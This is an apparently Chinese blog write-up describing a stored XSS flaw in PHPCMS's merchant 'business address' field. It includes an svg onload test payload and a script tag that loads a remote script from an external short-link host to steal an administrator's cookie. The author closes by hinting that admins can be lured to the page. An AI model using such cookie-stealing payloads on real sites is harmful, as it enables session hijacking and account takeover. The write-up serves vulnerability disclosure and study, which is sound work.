最近在学PHP，学了几天的PHP以后又来看了一下PHPCMS，代码审计一下吧。。还是一点也看不懂（额废话才学 几天PHP就想代码审计了？打死。。），唉苦逼的孩纸不会审计真蛋疼，那就黑盒再来看一遍吧，结果真的就又被我找到了一个，哈哈，存在XSS的地方在会员 中心--商务中心--商家资料--基本信息--经营地址那里，本来是想demo演示来着，但是由于实在商务中心需要管理员审核，官方测试的时候管理员还没 有审核就本地搭建环境演示了

先下载了PHPCMS的最新版本，然后我们在会员中心--商务中心--商家资料--基本信息--经营地址那里插入"/><svg onload=alert(/1/)>

接下来来到后台查看发现是不能成功弹窗的，因为这个是在个人企业的首页

没有弹窗肿么办呢？不急~一般管理员在审核通过之后都会去看一下这个企业吧，这个时候我们的机会就来了~后台点击我们的企业之后，可以看到来到企业首页，成功弹窗~

接下来看看能不能打cookie，我们继续构造"><script src=http://t.cn/RzLE1X0></script>

可以看到cookie已经成功打到~因为这个企业是人人都可以看到的~而且一般管理员审核完之后也会去哦，好吧就算管理员审核之后不去看我们的企业（不大可能哈），那我们利用一些手法去让管理员看我们的企业还是很简单的吧~所以你们懂得~